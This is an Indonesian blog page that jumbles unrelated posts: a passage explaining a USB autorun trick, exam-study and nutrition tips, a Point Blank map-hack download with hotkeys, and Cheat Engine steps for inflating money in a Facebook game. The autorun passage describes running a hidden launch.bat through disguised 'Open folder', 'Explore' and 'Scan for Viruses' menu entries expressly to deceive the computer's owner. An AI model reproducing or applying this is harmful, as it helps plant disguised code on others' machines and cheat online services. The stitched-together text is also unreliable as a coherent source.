Saya akan menjelaskan arti script di atas. Script tersebut memerintahkan sistem untuk menjalankan file launch.bat, dan sebagai cadangan dengan script shellexecute kita dapat menjalankan launch.bat dari pop-up menu autoplay. Dengan mengklik menu “Open folder to view files” sebenarnya kita telah menjalankan launch.bat, ini untuk menipu si pemilik computer, bila ia ada di sisi anda. Dan sebagai cadangan lagi (duh, saya paranoid sekali) script Shell berguna untuk menambah opsi baru pada menu bar file atau popup ketika anda melakukan klik kanan pada USB FlashDisk. Opsi tambahan itu adalah Explore, Open, Scan for Viruses, ketiga opsi ini tidak lain dan tidak bukan akan menjalankan file launch.bat milik kita 






NB: Jika anda berminat anda dapat mengubah file launch.bat menjadi file executeable (launch.exe) 


menggunakan BatToExeConverter (http://f2ko.de/
NB: Untuk parameter perintah yang dapat ditambahkan bisa dilihat di file readme.txt yang disertakan bersama aplikasi atau di website resminya.

Tips Menghadapi Ujian akhir Nasional 2011

Ketika kamu melakukan ujian nasional, kamu sedang mendemonstrasikan kemampuanmu dalam memahami materi kuliah, atau dalam melakukan tugas-tugas tertentu.

Sepuluh tips untuk membantu kamu dalam mengerjakan ujian nasional 2011 nanti :
1.Datanglah dengan persiapan yang matang dan lebih awal.
Bawalah semua alat tulis yang kamu butuhkan, seperti pensil, pulpen,  kamus, jam (tangan), penghapus, tip ex, penggaris, dan lain-lainnya. Perlengkapan ini akan membantumu untuk tetap konsentrasi selama mengerjakan ujian.
2. Tenang dan percaya diri.
Ingatkan dirimu bahwa kamu sudah siap sedia dan akan mengerjakan ujian dengan baik.
3. Bersantailah tapi waspada.
Pilihlah kursi atau tempat yang nyaman untuk mengerjakan ujian. Pastikan kamu mendapatkan tempat yang cukup untuk mengerjakannya. Pertahankan posisi duduk tegak.
4. Preview soal-soal ujianmu dulu (bila ujian memiliki waktu tidak terbatas)
Luangkan 10% dari keseluruhan waktu ujian untuk membaca soal-soal ujian secara mendalam, tandai kata-kata kunci dan putuskan berapa waktu yang diperlukan untuk menjawab masing-masing soal. Rencanakan untuk mengerjakan soal yang mudah dulu, baru soal yang tersulit. Ketika kamu membaca soal-soal, catat juga ide-ide yang muncul yang akan digunakan sebagai jawaban.
5. Jawab soal-soal ujian secara strategis.
Mulai dengan menjawab pertanyaan mudah yang kamu ketahui, kemudian dengan soal-soal yang memiliki nilai tertinggi. Pertanyaan terakhir yang seharusnya kamu kerjakan adalah:
* soal paling sulit
* yang membutuhkan waktu lama untuk menulis jawabannya
* memiliki nilai terkecil
6. Ketika mengerjakan soal-soal pilihan ganda, ketahuilah jawaban yang harus dipilih/ditebak.
Mula-mulai, abaikan jawaban yang kamu tahu salah. Tebaklah selalu suatu pilihan jawaban ketika tidak ada hukuman pengurangan nilai, atau ketika tidak ada pilihan jawaban yang dapat kamu abaikan. Jangan menebak suatu pilihan jawaban ketika kamu tidak mengetahui secara pasti dan ketika hukuman pengurangan nilai digunakan. Karena pilihan pertama akan jawabanmu biasanya benar, jangan menggantinya kecuali bila kamu yakin akan koreksi yang kamu lakukan.
7. Ketika mengerjakan soal ujian esai, pikirkan dulu jawabannya sebelum menulis.
Buat kerangka jawaban singkat untuk esai dengan mencatat dulu beberapa ide yang ingin kamu tulis. Kemudian nomori ide-ide tersebut untuk mengurutkan mana yang hendak kamu diskusikan dulu.
8. Ketika mengerjakan soal ujian esai, jawab langsung poin utamanya.
Tulis kalimat pokokmu pada kalimat pertama. Gunakan paragraf pertama sebagai overview esaimu. Gunakan paragraf-paragraf selanjutnya untuk mendiskusikan poin-poin utama secara mendetil. Dukung poinmu dengan informasi spesifik, contoh, atau kutipan dari bacaan atau catatanmu.
9. Sisihkan 10% waktumu untuk memeriksa ulang jawabanmu.
Periksa jawabanmu; hindari keinginan untuk segera meninggalkan kelas segera setelah kamu menjawab semua soal-soal ujian. Periksa lagi bahwa kamu telah menyelesaikan semua pertanyaan. Baca ulang jawabanmu untuk memeriksa ejaan, struktur bahasa dan tanda baca. Untuk jawaban matematika, periksa bila ada kecerobohan (misalnya salah meletakkan desimal). Bandingkan jawaban matematikamu yang sebenarnya dengan penghitungan ringkas.
10. Analisa hasil ujianmu.
Setiap ujian dapat membantumu dalam mempersiapkan diri untuk ujian selanjutnya. Putuskan strategi mana yang sesuai denganmu. Tentukan strategi mana yang tidak berhasil dan ubahlah. Gunakan kertas ujian sebelumnya ketika belajar untuk ujian akhir.
pesan saya, jika anda ingin lulus .. anda harus optimis dan yakin bahwa anda lulus, jika anda ragu-ragu maka hasilnya juga 50:50
Selamat Menempuh UAN 2011 dan semoga temen - temen LULUS  .. AMIN

NUTRISI MENGHADAPI UJIAN

Berikut beberapa nutrisi penting untuk otak menjelang ujian :

Protein
Telur, kacang, biji-bijian dan kacang-kacangan adalah makanan kaya protein yang digunakan tubuh untuk memproduksi asam amino. Asam amino merupakan prekursor (pencetus terbentuknya suatu senyawa) untuk neurotransmitter yang merupakan sel otak tertentu, yang membantu menjaga ketajaman mental dan motivasi.

Meskipun telur umumnya dianggap sebagai makanan sarapan, tapi telur juga dapat dimakan sebagai makanan ringan kapan saja di siang hari. Setengah cangkir keju cottage (keju rendah lemak) dan 1 cangkir yogurt juag dapat mempertajam otak sebelum ujian.

Asam lemak omega-3
Manusia telah mengenal ikan sebagai makanan otak sejak lebih dari 2.000 tahun. Minyak omega-3 sangat penting untuk perkembangan dan kelangsungan hidup manusia.

Omega-3 juga merupakan nutrisi yang diperlukan untuk belajar, konsentrasi dan memori, karena sangat penting untuk memberikan energi yang cukup untuk otak.

Makanan yang banyak mengandung omega-3 misalnya seperti salmon, sarden, walnut, hazelnut atau kacang mede. Suplemen omega-3 juga tersedia dalam bentuk kapsul.

Selain ada makanan yang dapat membantu meningkatkan kinerja otak, ada pula makanan yang sebaiknya dihindari, yaitu:

Kardohidrat sederhana
Karbohidrat sederhana memang dapat meningkatkan energi dengan cepat, tapi karbohidrat seperti nasi putih juga dapat menstimulasi produksi serotonin, yaitu neurotransmitter yang menenangkan otak, serta membuat ketenangan dan relaksasi. Hal ini biasanya dapat membuat orang cepat mengantuk, maka sebaiknya dihindari bagi siswa yang akan ujian sekolah.

Gantilah karbohidrat sederhana dengan karbohidrat kompleks seperti roti gandum atau kentang rebus. Karbohidrat ini akan membuat Anda merasa kenyang lebih lama dan meningkatkan energi.

Kopi dan minuman ringan
Menjelang ujian sekolah, siswa juga harus menghindari konsumsi kopi dan minuman ringan tinggi gula. Kafein pada kopi dan minuman ringan dapat menyebabkan kegelisahan dan mengganggu kemampuan otak untuk fokus.

PigyBinz Hack 2 GB exp, GB masmed, Freeze, Maphack, WS, Minimize + RPE

SEPERTI BIASA GAN

DOWNLOAD

S.A.REPACK @ 05 January 2011 Map Hack All Map + WallShot

---------------------HOTKEY-------------------------








[-] WALLSHOOT ON [NO BT] = HOME






[-] WALLSHOOT OFF [NO BT] = END






[-] ALL MAP HACK [BOMN MISSION] = F11






[-] ALL MAP HACK [DEATCH MATCH] = F12








---------------------MAP HACK-----------------------








*.BOMB MISSION = F11






- LUXVILLE >> TRAINING CAMP






- DOWNTOWN >> TRAINING CAMP






- HOSPITAL >> CRACKDOWN








*.DEATCH MATCH = F12






- BURNING HALL >> EASTERN ROAD






- LIBRARY >> EASTERN ROAD






- MSTATION >> EASTERN ROAD






- KICK POINT >> CRACKDOWN


- Login PB
- Pas di Lobby Tekan "F11" untuk Bomb Mission dan "F12" untuk Death Match
- Plih Room terserah anda dengan nama room "© Sapta Agunk" [room yang udah di hack]
- udah deh main sesuka hatimu pakai map hack tanpa tekan tombol apa- apa lagi
- kalau udah kelar main , ya udah pilih lagi room dengan nama tersebut
- happy cheating


DOWNLOAD

CHEAT CASH NIGHTCLUB CITY FACEBOOK

- Siapkan Cheat Engine 5.6
- Log In NCC Facebook kalo blm bisa pake chrome pake mozilla dulu biar gampang

- masuk ke bagian Redecorate -> Entertainment -> Lihat barang yang harganya 8juta akan diganti menjadi harga yang murah banget 

- Open Cheat Engine 5.6

- Select a Process to Open -> Process List (Long) -> Pilih salah satu diantara plugin-Container.exe -> Open

-Tuliskan angka 8000000 -> 4 Bytes -> Jangan lupa Centang Also Scan Read Only Memory -> Pencet First Scan.

- abis di scan ntar keluar sekitar 5 address tapi banyak addres yg gak penting ntar pokoknya pilih yang warnanya item 5 berurutan, Select semua address tersebut dan klik tanda panah merah kecil .. setelah itu ke 5 address tersebut akan pindah ke bagian bawah.

- Nah setelah pindah ke bawah select semua dan beri tanda centang semua lalu klik kanan Change Record -> Value -> Trus ganti angka 8000000 menjadi 10 trus pencet Ok

- Lah sekarang buka NNC -> Redecorate -> Entertainment -> HASILNYA = Harga barang yang sebelumnya 8 juta kini berubah menjadi 10. hahahah .. beli barang itu sebanyak banyak nya 

- lanjut ke bagian menggandakan uang. Hahahahahaha

- Setelah membeli semua barang yang murah tadi, kita kembali ke Cheat Engine. Trus ubah value 10 tadi menjadi 150juta.



ENG ING ENG, UANG KAMU BAKALAN BANYAK
HAHA
SELAMAT MENCOBA



kick21. Diberdayakan oleh Blogger.

 
n
u
F
r
o
F
t
s
u
J